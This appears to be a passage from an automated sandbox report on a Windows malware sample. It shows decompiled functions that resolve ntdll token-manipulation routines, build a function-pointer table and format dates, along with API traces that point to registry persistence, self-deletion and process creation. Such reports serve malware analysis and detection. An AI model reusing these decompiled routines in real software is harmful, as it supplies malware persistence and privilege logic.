				 *((intOrPtr*)(_t101 + 0xc0)) = __imp__#19;
				 *((intOrPtr*)(_t101 + 0xc4)) = __imp__#16;
				 *((intOrPtr*)(_t101 + 0xc8)) = __imp__#23;
				 *((intOrPtr*)(_t101 + 0xcc)) = __imp__#4;
				 *((intOrPtr*)(_t101 + 0xd0)) = __imp__#3;
				 *((intOrPtr*)(_t101 + 0xd4)) = __imp__#21;
				 *((intOrPtr*)(_t101 + 0xd8)) = __imp__#2;
				 *((intOrPtr*)(_t101 + 0xdc)) = __imp__#13;
				 *((intOrPtr*)(_t101 + 0xe0)) = __imp__#1;
				 *((intOrPtr*)(_t101 + 0xe4)) = __imp__#18;
				 *((intOrPtr*)(_t101 + 0xe8)) = __imp__#5;
				_t98 = __imp__#6;
				 *((intOrPtr*)(_t101 + 0x10)) = E00404861;
				 *((intOrPtr*)(_t101 + 0x14)) = E00405B84;
				 *((intOrPtr*)(_t101 + 0x18)) = E00404EF2;
				 *((intOrPtr*)(_t101 + 8)) = 0;
				 *((intOrPtr*)(_t101 + 0xc)) = 0;
				 *((intOrPtr*)(_t101 + 0x1c)) = E004038F0;
				 *((intOrPtr*)(_t101 + 0x20)) = E0040384F;
				 *((intOrPtr*)(_t101 + 0x134)) = E004035A5;
				 *((intOrPtr*)(_t101 + 0x24)) = E00408EC5;
				 *((intOrPtr*)(_t101 + 0x28)) = E00408EFA;
				 *((intOrPtr*)(_t101 + 0x2c)) = E00408F28;
				 *((intOrPtr*)(_t101 + 0x30)) = E00408F53;
				 *((intOrPtr*)(_t101 + 0x34)) = E004022B9;
				 *((intOrPtr*)(_t101 + 0x38)) = E004025B4;
				 *((intOrPtr*)(_t101 + 0x3c)) = E00408F87;
				 *((intOrPtr*)(_t101 + 0x54)) = E0040AD89;
				 *((intOrPtr*)(_t101 + 0x58)) = E0040B211;
				 *((intOrPtr*)(_t101 + 0x5c)) = E0040AEDD;
				 *((intOrPtr*)(_t101 + 0x60)) = E0040F304;
				 *((intOrPtr*)(_t101 + 0x64)) = E0040F428;
				 *((intOrPtr*)(_t101 + 0x68)) = E0040F43E;
				 *((intOrPtr*)(_t101 + 0x6c)) = E0040F483;
				 *((intOrPtr*)(_t101 + 0x70)) = 0x412104;
				 *((intOrPtr*)(_t101 + 0x74)) = E0040F26D;
				 *((intOrPtr*)(_t101 + 0x78)) = E0040F315;
				 *((intOrPtr*)(_t101 + 0x7c)) = E0040E52E;
				 *((intOrPtr*)(_t101 + 0x80)) = E0040E318;
				 *((intOrPtr*)(_t101 + 0x84)) = E0040EAAF;
				 *((intOrPtr*)(_t101 + 0x88)) = E0040E7B4;
				 *((intOrPtr*)(_t101 + 0x8c)) = E0040DD05;
				 *((intOrPtr*)(_t101 + 0x90)) = E0040E7FF;
				 *((intOrPtr*)(_t101 + 0x94)) = E0040DD69;
				 *((intOrPtr*)(_t101 + 0x98)) = E0040E819;
				 *((intOrPtr*)(_t101 + 0x9c)) = E0040E854;
				 *((intOrPtr*)(_t101 + 0xa0)) = E0040E8A1;
				 *((intOrPtr*)(_t101 + 0xa4)) = E0040EA84;
				 *((intOrPtr*)(_t101 + 0xa8)) = E0040DF4C;
				 *((intOrPtr*)(_t101 + 0xac)) = E0040DF70;
				 *((intOrPtr*)(_t101 + 0xb0)) = E0040E654;
				 *((intOrPtr*)(_t101 + 0xb4)) = E0040E749;
				 *((intOrPtr*)(_t101 + 0xb8)) = E004030B5;
				 *((intOrPtr*)(_t101 + 0xbc)) = 0;
				 *((intOrPtr*)(_t101 + 0xec)) = _t98;
				 *((intOrPtr*)(_t101 + 0xf0)) = E00402684;
				 *((intOrPtr*)(_t101 + 0xf4)) = E004026B2;
				 *((intOrPtr*)(_t101 + 0xf8)) = E00402EF8;
				 *((intOrPtr*)(_t101 + 0xfc)) = E00402F22;
				 *((intOrPtr*)(_t101 + 0x100)) = 0;
				 *((intOrPtr*)(_t101 + 0x104)) = 0;
				 *((intOrPtr*)(_t101 + 0x108)) = 0;
				 *((intOrPtr*)(_t101 + 0x10c)) = 0;
				 *((intOrPtr*)(_t101 + 0x110)) = 0;
				 *((intOrPtr*)(_t101 + 0x114)) = E0040A7C1;
				 *((intOrPtr*)(_t101 + 0x118)) = E00401FEB;
				 *((intOrPtr*)(_t101 + 0x11c)) = 0x401ffe;
				 *((intOrPtr*)(_t101 + 0x138)) = E00406509;
				 *((intOrPtr*)(_t101 + 0x140)) = E00405D34;
				 *((intOrPtr*)(_t101 + 0x144)) = E00405C05;
				 *((intOrPtr*)(_t101 + 0x148)) = E00405D93;
				 *((intOrPtr*)(_t101 + 0x14c)) = E00405E37;
				 *((intOrPtr*)(_t101 + 0x150)) = E004048C9;
				 *((intOrPtr*)(_t101 + 0x154)) = E00405E21;
				 *((intOrPtr*)(_t101 + 0x158)) = E00405CE1;
				 *((intOrPtr*)(_t101 + 0x15c)) = E00405DED;
				 *((intOrPtr*)(_t101 + 0x160)) = E00404EFD;
				 *((intOrPtr*)(_t101 + 0x164)) = E004048C9;
				 *((intOrPtr*)(_t101 + 0x168)) = E0040488C;
				 *((intOrPtr*)(_t101 + 0x174)) = E00404F13;
				 *((intOrPtr*)(_t101 + 0x178)) = E00404F50;
				 *((intOrPtr*)(_t101 + 0x17c)) = E004082BB;
				 *((intOrPtr*)(_t101 + 0x180)) = E004082C1;
				 *((intOrPtr*)(_t101 + 0x184)) = 0x4082c7;
				 *((intOrPtr*)(_t101 + 0x188)) = 0x408308;
				return _t98;
			}

0x004088b1
0x004088bf
0x004088c9
0x004088d4
0x004088df
0x004088ea
0x004088f5
0x00408900
0x0040890b
0x00408916
0x00408921
0x0040892c
0x00408937
0x0040893d
0x00408945
0x0040894c
0x00408953
0x0040895a
0x0040895d
0x00408960
0x00408967
0x0040896e
0x00408978
0x0040897f
0x00408986
0x0040898d
0x00408994
0x0040899b
0x004089a2
0x004089a9
0x004089b0
0x004089b7
0x004089be
0x004089c5
0x004089cc
0x004089d3
0x004089da
0x004089e1
0x004089e8
0x004089ef
0x004089f6
0x00408a00
0x00408a0a
0x00408a14
0x00408a1e
0x00408a28
0x00408a32
0x00408a3c
0x00408a46
0x00408a50
0x00408a5a
0x00408a64
0x00408a6e
0x00408a78
0x00408a82
0x00408a8c
0x00408a92
0x00408a98
0x00408aa2
0x00408aac
0x00408ab6
0x00408ac0
0x00408ac6
0x00408acc
0x00408ad2
0x00408ad8
0x00408adf
0x00408ae9
0x00408af3
0x00408afd
0x00408b07
0x00408b11
0x00408b1b
0x00408b25
0x00408b2f
0x00408b39
0x00408b43
0x00408b4d
0x00408b57
0x00408b61
0x00408b6b
0x00408b75
0x00408b7f
0x00408b89
0x00408b93
0x00408b9d
0x00408ba7
0x00408bb2

Memory Dump Source

Source File: 00000018.00000002.432619186.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.432666313.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_743F.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b87d996b03424d41ecd054f3042c71836826564e4b1ffe17874333ad5a991b34
Instruction ID: 64893a5cec851924fefc00027ac9d8258265f32e823952a4835c6918c3f2ac29
Opcode Fuzzy Hash: b87d996b03424d41ecd054f3042c71836826564e4b1ffe17874333ad5a991b34
Instruction Fuzzy Hash: 59714BB4501B41CFD360CF66D548782BBE0BB54308F10CD6ED5AAAB790DBB86588DF98

Uniqueness

Uniqueness Score: -1.00%

Function 00579E89, Relevance: 59.9, APIs: 28, Strings: 6, Instructions: 421stringregistryfileCOMMON

Download Yara Rule

APIs

ExitProcess.KERNEL32 ref: 00579E56
lstrcpy.KERNEL32(?,00000000), ref: 00579FCA
lstrcat.KERNEL32(?,?), ref: 00579FDB
lstrcat.KERNEL32(?,0041070C), ref: 00579FED
GetFileAttributesExA.KERNEL32(?,?,?), ref: 0057A03D
DeleteFileA.KERNEL32(?), ref: 0057A088
GetEnvironmentVariableA.KERNEL32(00000000,?,?,?,?,000001F4), ref: 0057A0BF
lstrcpy.KERNEL32 ref: 0057A118
lstrlen.KERNEL32(00000022), ref: 0057A125
GetTempPathA.KERNEL32(000001F4,?), ref: 00579EFC

Part of subcall function 00577012: GetVolumeInformationA.KERNEL32(?,00000000,00000000,00412F0C,00000000,00000000,00000000,00000000), ref: 0057706A

Part of subcall function 00576F19: GetModuleHandleA.KERNEL32(00410380,00410670,00000000,\\.\pipe\eyluinzr,0057702C), ref: 00576F37
Part of subcall function 00576F19: GetProcAddress.KERNEL32(00000000), ref: 00576F3E
Part of subcall function 00576F19: GetSystemDirectoryA.KERNEL32(C:\Windows\SysWOW64\,00000104), ref: 00576F64
Part of subcall function 00576F19: GetWindowsDirectoryA.KERNEL32(C:\Windows\SysWOW64\,00000104,?,00000000), ref: 00576F7B

RegOpenKeyExA.ADVAPI32(80000001,00000000,?,?,?,00000103,?,?,?,?), ref: 0057A18B
RegSetValueExA.ADVAPI32(?,00000001,?,00000001,?,000001F5,?,?,?,00000103,?,?,?,?), ref: 0057A1AE
GetModuleHandleA.KERNEL32(?,?,00000104,?,?,00000010,?,?,00000044,?,?,?,?,?,?,00000103), ref: 0057A1FD
GetModuleFileNameA.KERNEL32(00000000,?,?,00000104,?,?,00000010,?,?,00000044), ref: 0057A204
GetDriveTypeA.KERNEL32(?), ref: 0057A24E
lstrcat.KERNEL32(?,00000000), ref: 0057A288
lstrcat.KERNEL32(?,00410A34), ref: 0057A2AE
lstrcat.KERNEL32(?,00000022), ref: 0057A2C2
lstrcat.KERNEL32(?,00410A34), ref: 0057A2DD
wsprintfA.USER32 ref: 0057A306
lstrcat.KERNEL32(?,00000000), ref: 0057A32E
lstrcat.KERNEL32(?,?), ref: 0057A34D
CreateProcessA.KERNEL32(?,?,?,?,?,08000000,?,?,?,?,?,?,00000104,?,?,00000010), ref: 0057A370
DeleteFileA.KERNEL32(?,?,?,?,?,?,08000000,?,?,?,?,?,?,00000104,?), ref: 0057A381
RegCloseKey.ADVAPI32(?,?,00000001,?,000001F5,?,?,?,00000103,?,?,?,?), ref: 0057A1BA

Part of subcall function 0057994F: RegOpenKeyExA.ADVAPI32(80000001,00000000), ref: 00579986
Part of subcall function 0057994F: RegDeleteValueA.ADVAPI32(?,00000000), ref: 005799A6
Part of subcall function 0057994F: RegCloseKey.ADVAPI32(?), ref: 005799AF

GetModuleHandleA.KERNEL32(?,?,0000012C), ref: 0057A3C4
GetModuleFileNameA.KERNEL32(00000000,?,?,0000012C), ref: 0057A3CB
GetDriveTypeA.KERNEL32(00000022), ref: 0057A406

Strings

P, xrefs: 00579FFA
D, xrefs: 0057A1DE
\, xrefs: 00579F5C
", xrefs: 0057A12B
", xrefs: 0057A2C8
", xrefs: 0057A3D9

Memory Dump Source

Source File: 00000018.00000002.432841929.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_570000_743F.jbxd

Yara matches

Similarity

API ID: lstrcat$FileModule$DeleteHandle$CloseDirectoryDriveNameOpenProcessTypeValuelstrcpy$AddressAttributesCreateEnvironmentExitInformationPathProcSystemTempVariableVolumeWindowslstrlenwsprintf
String ID: "$"$"$D$P$\
API String ID: 1653845638-2605685093
Opcode ID: 0c11c2300bf8887d3437573fd553245dec9800ee399a6cc752f87376d7d629c9
Instruction ID: 754549832a02bec982b5dab142a8b55c5fcf2e727096a15d7a7a9cd06a12da39
Opcode Fuzzy Hash: 0c11c2300bf8887d3437573fd553245dec9800ee399a6cc752f87376d7d629c9
Instruction Fuzzy Hash: 49F13FB1C40259AFDF11DBA0AC4DEEE7BBCBB48304F0484A6F609E2141E7758A849F65

Uniqueness

Uniqueness Score: -1.00%

Function 00401000, Relevance: 56.2, APIs: 16, Strings: 16, Instructions: 170
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00401000() {
				struct HINSTANCE__* _t2;
				_Unknown_base(*)()* _t3;
				signed int _t4;
				_Unknown_base(*)()* _t6;
				_Unknown_base(*)()* _t7;
				_Unknown_base(*)()* _t8;
				_Unknown_base(*)()* _t10;
				_Unknown_base(*)()* _t11;
				_Unknown_base(*)()* _t12;
				_Unknown_base(*)()* _t14;
				_Unknown_base(*)()* _t15;
				_Unknown_base(*)()* _t16;
				_Unknown_base(*)()* _t18;
				_Unknown_base(*)()* _t19;
				_Unknown_base(*)()* _t20;
				_Unknown_base(*)()* _t22;
				_Unknown_base(*)()* _t23;
				signed int _t34;
				signed int _t35;

				_t2 =  *0x413918;
				_t35 = _t34 | 0xffffffff;
				if(_t2 != 0) {
					L3:
					if( *0x41391c == 0 ||  *0x413920 == 0 ||  *0x413924 == 0 ||  *0x413928 == 0 ||  *0x41392c == 0 ||  *0x413930 == 0 ||  *0x413934 == 0 ||  *0x413938 == 0 ||  *0x41393c == 0 ||  *0x413940 == 0 ||  *0x413944 == 0 ||  *0x413948 == 0 ||  *0x41394c == 0 ||  *0x413950 == 0 ||  *0x413954 == 0) {
						_t3 = GetProcAddress(_t2, "RtlExpandEnvironmentStrings_U");
						 *0x41391c = _t3;
						if(_t3 == 0) {
							L34:
							_t4 = _t35;
						} else {
							_t35 = 0xfffffffe;
							_t6 = GetProcAddress( *0x413918, "RtlSetLastWin32Error");
							 *0x413920 = _t6;
							if(_t6 == 0) {
								goto L34;
							} else {
								_t35 = 0xfffffffd;
								_t7 = GetProcAddress( *0x413918, "NtTerminateProcess");
								 *0x413924 = _t7;
								if(_t7 == 0) {
									goto L34;
								} else {
									_t35 = 0xfffffffc;
									_t8 = GetProcAddress( *0x413918, "RtlFreeSid");
									 *0x413928 = _t8;
									if(_t8 == 0) {
										goto L34;
									} else {
										_t35 = 0xfffffffb;
										_t10 = GetProcAddress( *0x413918, "RtlInitUnicodeString");
										 *0x41392c = _t10;
										if(_t10 == 0) {
											goto L34;
										} else {
											_t35 = 0xfffffffa;
											_t11 = GetProcAddress( *0x413918, "NtSetInformationThread");
											 *0x413930 = _t11;
											if(_t11 == 0) {
												goto L34;
											} else {
												_t35 = 0xfffffff9;
												_t12 = GetProcAddress( *0x413918, "NtSetInformationToken");
												 *0x413934 = _t12;
												if(_t12 == 0) {
													goto L34;
												} else {
													_t35 = 0xfffffff8;
													_t14 = GetProcAddress( *0x413918, "RtlNtStatusToDosError");
													 *0x413938 = _t14;
													if(_t14 == 0) {
														goto L34;
													} else {
														_t35 = 0xfffffff7;
														_t15 = GetProcAddress( *0x413918, "NtClose");
														 *0x41393c = _t15;
														if(_t15 == 0) {
															goto L34;
														} else {
															_t35 = 0xfffffff6;
															_t16 = GetProcAddress( *0x413918, "NtOpenProcessToken");
															 *0x413940 = _t16;
															if(_t16 == 0) {
																goto L34;
															} else {
																_t35 = 0xfffffff5;
																_t18 = GetProcAddress( *0x413918, "NtDuplicateToken");
																 *0x413944 = _t18;
																if(_t18 == 0) {
																	goto L34;
																} else {
																	_t35 = 0xfffffff4;
																	_t19 = GetProcAddress( *0x413918, "RtlAllocateAndInitializeSid");
																	 *0x413948 = _t19;
																	if(_t19 == 0) {
																		goto L34;
																	} else {
																		_t35 = 0xfffffff3;
																		_t20 = GetProcAddress( *0x413918, "NtFilterToken");
																		 *0x41394c = _t20;
																		if(_t20 == 0) {
																			goto L34;
																		} else {
																			_t35 = 0xfffffff2;
																			_t22 = GetProcAddress( *0x413918, "RtlLengthSid");
																			 *0x413950 = _t22;
																			if(_t22 == 0) {
																				goto L34;
																			} else {
																				_t35 = 0xfffffff1;
																				_t23 = GetProcAddress( *0x413918, "NtQueryInformationToken");
																				 *0x413954 = _t23;
																				_t1 = _t35 + 0x10; // 0x100000001
																				_t4 = _t1;
																				if(_t23 == 0) {
																					goto L34;
																				}
																			}
																		}
																	}
																}
															}
														}
													}
												}
											}
										}
									}
								}
							}
						}
						return _t4;
					} else {
						return 1;
					}
				} else {
					_t2 = LoadLibraryA("ntdll.dll");
					 *0x413918 = _t2;
					if(_t2 != 0) {
						goto L3;
					} else {
						return _t2;
					}
				}
			}

0x00401000
0x00401006
0x0040100b
0x00401023
0x0040102a
0x004010c2
0x004010c4
0x004010cb
0x0040127b
0x0040127b
0x004010d1
0x004010dc
0x004010e1
0x004010e3
0x004010ea
0x00000000
0x004010f0
0x004010fc
0x00401101
0x00401103
0x0040110a
0x00000000
0x00401110
0x0040111c
0x00401121
0x00401123
0x0040112a
0x00000000
0x00401130
0x0040113b
0x00401140
0x00401142
0x00401149
0x00000000
0x0040114f
0x0040115b
0x00401160
0x00401162
0x00401169
0x00000000
0x0040116f
0x0040117b
0x00401180
0x00401182
0x00401189
0x00000000
0x0040118f
0x0040119a
0x0040119f
0x004011a1
0x004011a8
0x00000000
0x004011ae
0x004011ba
0x004011bf
0x004011c1
0x004011c8
0x00000000
0x004011ce
0x004011da
0x004011df
0x004011e1
0x004011e8
0x00000000
0x004011ee
0x004011f9
0x004011fe
0x00401200
0x00401207
0x00000000
0x00401209
0x00401215
0x0040121a
0x0040121c
0x00401223
0x00000000
0x00401225
0x00401231
0x00401236
0x00401238
0x0040123f
0x00000000
0x00401241
0x0040124c
0x00401251
0x00401253
0x0040125a
0x00000000
0x0040125c
0x00401268
0x0040126d
0x0040126f
0x00401276
0x00401276
0x00401279
0x00000000
0x00000000
0x00401279
0x0040125a
0x0040123f
0x00401223
0x00401207
0x004011e8
0x004011c8
0x004011a8
0x00401189
0x00401169
0x00401149
0x0040112a
0x0040110a
0x004010ea
0x0040127f
0x004010ae
0x004010b4
0x004010b4
0x0040100d
0x00401012
0x00401018
0x0040101f
0x00000000
0x00401022
0x00401022
0x00401022
0x0040101f

APIs

LoadLibraryA.KERNEL32(ntdll.dll,00000000,00401839,00409646), ref: 00401012
GetProcAddress.KERNEL32(?,RtlExpandEnvironmentStrings_U), ref: 004010C2
GetProcAddress.KERNEL32(?,RtlSetLastWin32Error), ref: 004010E1
GetProcAddress.KERNEL32(?,NtTerminateProcess), ref: 00401101
GetProcAddress.KERNEL32(?,RtlFreeSid), ref: 00401121
GetProcAddress.KERNEL32(?,RtlInitUnicodeString), ref: 00401140
GetProcAddress.KERNEL32(?,NtSetInformationThread), ref: 00401160
GetProcAddress.KERNEL32(?,NtSetInformationToken), ref: 00401180
GetProcAddress.KERNEL32(?,RtlNtStatusToDosError), ref: 0040119F
GetProcAddress.KERNEL32(?,NtClose), ref: 004011BF
GetProcAddress.KERNEL32(?,NtOpenProcessToken), ref: 004011DF
GetProcAddress.KERNEL32(?,NtDuplicateToken), ref: 004011FE
GetProcAddress.KERNEL32(?,RtlAllocateAndInitializeSid), ref: 0040121A

Strings

ntdll.dll, xrefs: 0040100D
NtFilterToken, xrefs: 0040122B
RtlFreeSid, xrefs: 00401116
NtQueryInformationToken, xrefs: 00401262
NtOpenProcessToken, xrefs: 004011D4
NtClose, xrefs: 004011B4
RtlNtStatusToDosError, xrefs: 00401194
RtlAllocateAndInitializeSid, xrefs: 0040120F
RtlInitUnicodeString, xrefs: 00401135
NtTerminateProcess, xrefs: 004010F6
RtlExpandEnvironmentStrings_U, xrefs: 004010BC
RtlSetLastWin32Error, xrefs: 004010D6
NtSetInformationToken, xrefs: 00401175
NtSetInformationThread, xrefs: 00401155
RtlLengthSid, xrefs: 00401246
NtDuplicateToken, xrefs: 004011F3

Memory Dump Source

Source File: 00000018.00000002.432619186.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.432666313.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_743F.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtClose$NtDuplicateToken$NtFilterToken$NtOpenProcessToken$NtQueryInformationToken$NtSetInformationThread$NtSetInformationToken$NtTerminateProcess$RtlAllocateAndInitializeSid$RtlExpandEnvironmentStrings_U$RtlFreeSid$RtlInitUnicodeString$RtlLengthSid$RtlNtStatusToDosError$RtlSetLastWin32Error$ntdll.dll
API String ID: 2238633743-3228201535
Opcode ID: 099c329b46637f9171a1ca57a4c5e0107e32006a0b8f6d8903d04b45664d461e
Instruction ID: c8dd2db2df3f08e17c6117e54d1286841a2c4197db930f8a9693796d5e259140
Opcode Fuzzy Hash: 099c329b46637f9171a1ca57a4c5e0107e32006a0b8f6d8903d04b45664d461e
Instruction Fuzzy Hash: 2F5100B1662641A6D7118F69EC84BD23AE86748372F14837B9520F62F0D7F8CAC1CB5D

Uniqueness

Uniqueness Score: -1.00%

Function 0042C35E, Relevance: 51.2, APIs: 24, Strings: 5, Instructions: 431COMMON

Download Yara Rule

APIs

__invoke_watson_if_error.LIBCMTD ref: 0042C3A2
_wcscat_s.LIBCMTD ref: 0042C5BA

Part of subcall function 00432140: __invalid_parameter.LIBCMTD ref: 004321B2

__invoke_watson_if_error.LIBCMTD ref: 0042C5C3

Part of subcall function 0041DFD0: __invoke_watson.LIBCMTD ref: 0041DFF1

_wcscat_s.LIBCMTD ref: 0042C5F2

Part of subcall function 00432140: _memset.LIBCMT ref: 0043221B
Part of subcall function 00432140: __invalid_parameter.LIBCMTD ref: 00432277

__invoke_watson_if_error.LIBCMTD ref: 0042C5FB
__invoke_watson_if_oneof.LIBCMTD ref: 0042C68D
_wcscpy_s.LIBCMTD ref: 0042C6D2
__invoke_watson_if_error.LIBCMTD ref: 0042C6DB
__cftoe.LIBCMTD ref: 0042C74F
__invoke_watson_if_oneof.LIBCMTD ref: 0042C77E
_wcscpy_s.LIBCMTD ref: 0042C7B6
__invoke_watson_if_error.LIBCMTD ref: 0042C7BF
__itow_s.LIBCMTD ref: 0042C399

Part of subcall function 00436DB0: _xtow_s@20.LIBCMTD ref: 00436DDB

__strftime_l.LIBCMTD ref: 0042C459
__invoke_watson_if_oneof.LIBCMTD ref: 0042C492
_wcscpy_s.LIBCMTD ref: 0042C4D7
__invoke_watson_if_error.LIBCMTD ref: 0042C4E0
_wcscpy_s.LIBCMTD ref: 0042C533
__invoke_watson_if_error.LIBCMTD ref: 0042C53C
_wcscat_s.LIBCMTD ref: 0042C56D
__invoke_watson_if_error.LIBCMTD ref: 0042C576

Strings

hh^@, xrefs: 0042C76E
h`b@, xrefs: 0042C769
h`b@, xrefs: 0042C550
t9j, xrefs: 0042C9E5
t8j, xrefs: 0042C78D

Memory Dump Source

Source File: 00000018.00000002.432685720.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_415000_743F.jbxd

Similarity

API ID: __invoke_watson_if_error$_wcscpy_s$__invoke_watson_if_oneof_wcscat_s$__invalid_parameter$__cftoe__invoke_watson__itow_s__strftime_l_memset_xtow_s@20
String ID: h`b@$h`b@$hh^@$t8j$t9j
API String ID: 2916338978-2251402083
Opcode ID: e9563a12af7b412c589cfc8a333d01ae37adbf88d8223ec41871a9eb37a362df
Instruction ID: 6529cad195aeccccd4dc7a4a2c8111d643f4ba84863619142421517878b4660d
Opcode Fuzzy Hash: e9563a12af7b412c589cfc8a333d01ae37adbf88d8223ec41871a9eb37a362df
Instruction Fuzzy Hash: E70296B4E40728ABEB20EF50DD46BDF7378AB04745F50409AF6097A2C1D7B85A84CF99

Uniqueness

Uniqueness Score: -1.00%

Function 0040B211, Relevance: 47.4, APIs: 7, Strings: 20, Instructions: 131
timeCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E0040B211(FILETIME* _a4, CHAR* _a8, signed int _a12) {
				struct _FILETIME _v12;
				struct _SYSTEMTIME _v28;
				CHAR* _v32;
				CHAR* _v36;
				CHAR* _v40;
				CHAR* _v44;
				CHAR* _v48;
				CHAR* _v52;
				CHAR* _v56;
				CHAR* _v60;
				CHAR* _v64;
				CHAR* _v68;
				CHAR* _v72;
				CHAR* _v76;
				CHAR* _v80;
				CHAR* _v84;
				CHAR* _v88;
				CHAR* _v92;
				CHAR* _v96;
				CHAR* _v100;
				CHAR* _v104;
				struct _TIME_ZONE_INFORMATION _v276;
				long _t77;
				signed int _t80;
				signed int _t93;
				signed int _t101;
				signed int _t102;
				CHAR* _t103;
				signed int _t104;
				signed short _t106;
				signed short _t109;
				signed int _t114;
				signed int _t115;
				void* _t117;

				_v56 = "Sun";
				_v52 = "Mon";
				_v48 = "Tue";
				_v44 = "Wed";
				_v40 = "Thu";
				_v36 = "Fri";
				_v32 = "Sat";
				_v104 = "Jan";
				_v100 = "Feb";
				_v96 = "Mar";
				_v92 = "Apr";
				_v88 = "May";
				_v84 = "Jun";
				_v80 = "Jul";
				_v76 = "Aug";
				_v72 = "Sep";
				_v68 = "Oct";
				_v64 = "Nov";
				_v60 = "Dec";
				if(_a4 != 0) {
					FileTimeToLocalFileTime(_a4,  &_v12);
					FileTimeToSystemTime( &_v12,  &_v28);
				} else {
					GetLocalTime( &_v28);
				}
				_t114 = _a12;
				if(_t114 != 0) {
					SystemTimeToFileTime( &_v28,  &_v12);
					_t93 = E0040ECA5();
					if(_t114 <= 0) {
						_t104 = _t93 %  ~_t114 * 0x23c34600;
						_v12.dwLowDateTime = _v12.dwLowDateTime - _t104;
						asm("sbb [ebp-0x4], ebx");
					} else {
						_t104 = _t93 % _t114 * 0x23c34600;
						_v12.dwLowDateTime = _v12.dwLowDateTime + _t104;
						asm("adc [ebp-0x4], ebx");
					}
					FileTimeToSystemTime( &_v12,  &_v28);
				}
				_v276.Bias = 0;
				_t77 = GetTimeZoneInformation( &_v276);
				_t101 = _v276.Bias;
				if(_t77 == 2) {
					_t101 = _t101 + _v276.DaylightBias;
				}
				_t102 =  ~_t101;
				asm("cdq");
				_t80 = (_t102 ^ _t104) - _t104;
				if(_v28.wDayOfWeek > 6) {
					_t109 = 6;
					_v28.wDayOfWeek = _t109;
				}
				if(_v28.wMonth == 0) {
					_v28.wMonth = 1;
				}
				if(_v28.wMonth > 0xc) {
					_t106 = 0xc;
					_v28.wMonth = _t106;
				}
				_t103 = "+";
				if(_t102 < 0) {
					_t103 = "-";
				}
				_t115 = 0x3c;
				asm("cdq");
				return wsprintfA(_a8, "%s, %u %s %u %.2u:%.2u:%.2u %s%.2u%.2u",  *((intOrPtr*)(_t117 + (_v28.wDayOfWeek & 0x0000ffff) * 4 - 0x34)), _v28.wDay & 0x0000ffff,  *((intOrPtr*)(_t117 + (_v28.wMonth & 0x0000ffff) * 4 - 0x68)), _v28.wYear & 0x0000ffff, _v28.wHour & 0x0000ffff, _v28.wMinute & 0x0000ffff, _v28.wSecond & 0x0000ffff, _t103, _t80 / _t115, _t80 % _t115);
			}

0x0040b225
0x0040b22c
0x0040b233
0x0040b23a
0x0040b241
0x0040b248
0x0040b24f
0x0040b256
0x0040b25d
0x0040b264
0x0040b26b
0x0040b272
0x0040b279
0x0040b280
0x0040b287
0x0040b28e
0x0040b295
0x0040b29c
0x0040b2a3
0x0040b2ad
0x0040b2c2
0x0040b2d0
0x0040b2af
0x0040b2b3
0x0040b2b3
0x0040b2d2
0x0040b2d7
0x0040b2e1
0x0040b2e7
0x0040b2f0
0x0040b306
0x0040b30c
0x0040b30f
0x0040b2f2
0x0040b2f4
0x0040b2fa
0x0040b2fd
0x0040b2fd
0x0040b31a
0x0040b31a
0x0040b323
0x0040b329
0x0040b32f
0x0040b338
0x0040b33a
0x0040b33a
0x0040b33d
0x0040b341
0x0040b344
0x0040b34b
0x0040b34f
0x0040b350
0x0040b350
0x0040b358
0x0040b35d
0x0040b35d
0x0040b366
0x0040b36a
0x0040b36b
0x0040b36b
0x0040b371
0x0040b376
0x0040b378
0x0040b378
0x0040b37f
0x0040b380
0x0040b3c4

APIs

GetLocalTime.KERNEL32(0003E800,?,0003E800,00000000), ref: 0040B2B3
FileTimeToLocalFileTime.KERNEL32(00000000,00000000,?,0003E800,00000000), ref: 0040B2C2
FileTimeToSystemTime.KERNEL32(00000000,0003E800), ref: 0040B2D0
SystemTimeToFileTime.KERNEL32(0003E800,00000000), ref: 0040B2E1
FileTimeToSystemTime.KERNEL32(00000000,0003E800), ref: 0040B31A
GetTimeZoneInformation.KERNEL32(?), ref: 0040B329
wsprintfA.USER32 ref: 0040B3B7

Strings

Dec, xrefs: 0040B2A3
Fri, xrefs: 0040B248
Thu, xrefs: 0040B241
Apr, xrefs: 0040B26B
Jul, xrefs: 0040B280
Wed, xrefs: 0040B23A
Mon, xrefs: 0040B22C
Sep, xrefs: 0040B28E
Sat, xrefs: 0040B24F
Tue, xrefs: 0040B233
Sun, xrefs: 0040B225
Aug, xrefs: 0040B287
Mar, xrefs: 0040B264
Oct, xrefs: 0040B295
%s, %u %s %u %.2u:%.2u:%.2u %s%.2u%.2u, xrefs: 0040B3AF
Feb, xrefs: 0040B25D
Nov, xrefs: 0040B29C
Jun, xrefs: 0040B279
May, xrefs: 0040B272
Jan, xrefs: 0040B256

Memory Dump Source

Source File: 00000018.00000002.432619186.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.432666313.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_743F.jbxd

Yara matches

Similarity

API ID: Time$File$System$Local$InformationZonewsprintf
String ID: %s, %u %s %u %.2u:%.2u:%.2u %s%.2u%.2u$Apr$Aug$Dec$Feb$Fri$Jan$Jul$Jun$Mar$May$Mon$Nov$Oct$Sat$Sep$Sun$Thu$Tue$Wed
API String ID: 766114626-2976066047
Opcode ID: fbb2cc535003bdd2a03704f06e43c86ec17b275768f9954b8d174276db173d5b
Instruction ID: 3cccae2c5b68faf9d5e65ebc3321ef0303f497beb4f825406ae493c25d793f5b
Opcode Fuzzy Hash: fbb2cc535003bdd2a03704f06e43c86ec17b275768f9954b8d174276db173d5b
